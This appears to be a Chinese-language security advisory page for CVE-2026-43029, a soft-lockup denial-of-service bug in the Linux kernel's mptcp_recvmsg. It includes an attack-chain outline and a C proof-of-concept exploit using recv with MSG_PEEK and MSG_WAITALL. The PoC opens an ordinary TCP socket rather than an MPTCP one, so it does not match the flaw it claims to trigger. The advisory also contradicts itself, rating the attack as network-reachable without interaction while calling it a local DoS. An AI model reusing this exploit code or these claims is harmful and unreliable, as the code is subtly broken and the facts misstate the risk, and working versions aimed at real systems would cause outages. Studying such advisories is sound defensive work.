IPBUF安全漏洞报告
English
CVE-2026-43029 CVSS 7.5 高危

CVE-2026-43029 Linux Kernel mptcp_recvmsg软死锁漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43029
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务MPTCP软死锁CVE-2026-43029

漏洞概述

Linux内核的MPTCP子系统中存在一个拒绝服务漏洞。当应用程序使用`MSG_PEEK`和`MSG_WAITALL`标志调用`recvmsg`接收MPTCP数据时,由于未正确处理套接字缓冲区,导致内核陷入无限循环。这会触发软死锁,使CPU核心卡死,从而导致系统失去响应。

技术细节

该漏洞位于Linux内核`net/mptcp/protocol.c`文件的`mptcp_recvmsg`函数。漏洞产生的根本原因在于处理接收标志时的逻辑缺陷。当使用`MSG_PEEK`标志时,数据包(skb)保留在接收队列中不被移除;若同时使用`MSG_WAITALL`,函数逻辑期望等待直到数据充足。然而,代码未能正确传递或跟踪“最后检查的skb”状态,导致循环中的`sk_wait_data`函数错误地判断队列始终有数据可读。结果,接收进程在一个紧凑的循环中无限期运行,阻塞了CPU核心,触发内核看门狗报警(Soft Lockup)。攻击者可利用此缺陷,通过诱导系统处理特定的MPTCP数据流,耗尽目标系统的CPU资源,导致本地拒绝服务。

攻击链分析

STEP 1
建立连接
攻击者与目标系统建立MPTCP连接。
STEP 2
发送数据
攻击者向目标发送特定的数据流,或者等待目标接收数据。
STEP 3
触发漏洞
目标系统上的应用程序使用带有`MSG_PEEK`和`MSG_WAITALL`标志的`recvmsg`接收数据,触发内核逻辑缺陷。
STEP 4
系统瘫痪
内核陷入死循环,触发软死锁,CPU利用率飙升至100%,系统失去响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #define PORT 8080 int main() { int sock; struct sockaddr_in server; char buffer[1024]; // Create a socket sock = socket(AF_INET, SOCK_STREAM, 0); if (sock == -1) { perror("Could not create socket"); return 1; } server.sin_addr.s_addr = inet_addr("127.0.0.1"); server.sin_family = AF_INET; server.sin_port = htons(PORT); // Connect to a server that sends data if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) { perror("Connect failed"); return 1; } // Trigger the vulnerability logic // Using MSG_PEEK | MSG_WAITALL to cause the soft lockup in mptcp_recvmsg // This may hang the process consuming 100% CPU on the specific core int bytes_received = recv(sock, buffer, sizeof(buffer), MSG_PEEK | MSG_WAITALL); if (bytes_received < 0) { perror("recv failed"); } close(sock); return 0; }

影响范围

Linux Kernel 6.19-rc8

防御指南

临时缓解措施
建议在应用补丁前,通过禁用内核中的MPTCP模块(如使用modprobe -r mptcp)来暂时规避风险,或限制非特权用户对网络套接字的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表